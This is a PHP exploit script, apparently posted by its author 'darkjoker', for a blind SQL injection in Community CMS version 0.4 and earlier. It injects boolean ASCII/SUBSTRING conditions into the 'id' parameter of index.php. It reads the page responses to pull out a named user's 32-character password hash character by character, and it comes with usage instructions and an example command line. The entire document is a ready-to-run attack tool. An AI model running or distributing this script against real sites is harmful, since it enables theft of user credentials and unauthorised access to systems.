--+++==============================================================+++--
--+++====== Community CMS <= 0.4 Blind SQL Injection Exploit ======+++--
--+++==============================================================+++--
<?php
function query ($user, $pos, $chr)
{
$query = "x' OR ASCII(SUBSTRING((SELECT password FROM comcms_users WHERE username = '{$user}'),{$pos},1))={$chr} OR '1' = '2";
$query = str_replace (" ", "%20", $query);
$query = str_replace ("'", "%27", $query);
return $query;
}
function exploit ($hostname, $path, $user, $pos, $chr)
{
$chr = ord ($chr);
$fp = fsockopen ($hostname, 80);
$query = query ($user, $pos, $chr);
$get = "GET {$path}/index.php?id={$query} HTTP/1.1\r\n".
"Host: {$hostname}\r\n".
"Connection: Close\r\n\r\n";
fputs ($fp, $get);
while (!feof ($fp))
$x .= fgets ($fp, 1024);
fclose ($fp);
if (preg_match ("/Failed to load page/", $x))
return false;
else
return true;
}
function usage () {
exit (
"Community CMS <= 0.4 Blind SQL Injection Exploit".
"\n[+] Author : darkjoker".
"\n[+] Site : http://darkjoker.net23.net".
"\n[+] Download: http://surfnet.dl.sourceforge.net/sourceforge/communitycms/communitycms-0.4.zip".
"\n[+] Usage : php xpl.php <localhost> <path> <username>".
"\n[+] Ex. : php xpl.php localhost /CommunityCMS admin".
"\n[+] Greetz : certaindeath".
"\n\n");
}
if ($argc != 4)
usage ();
$hostname = $argv [1];
$path = $argv [2];
$user = $argv [3];
$key = "abcdef0123456789";
$pos = 1;
$chr = 0;
echo "[+] Password: ";
while ($pos <= 32)
{
if (exploit ($hostname, $path, $user, $pos, $key [$chr]))
{
echo $key [$chr];
$chr = 0;
$pos++;
}
else
$chr++;
}
echo "\n\n";
?>
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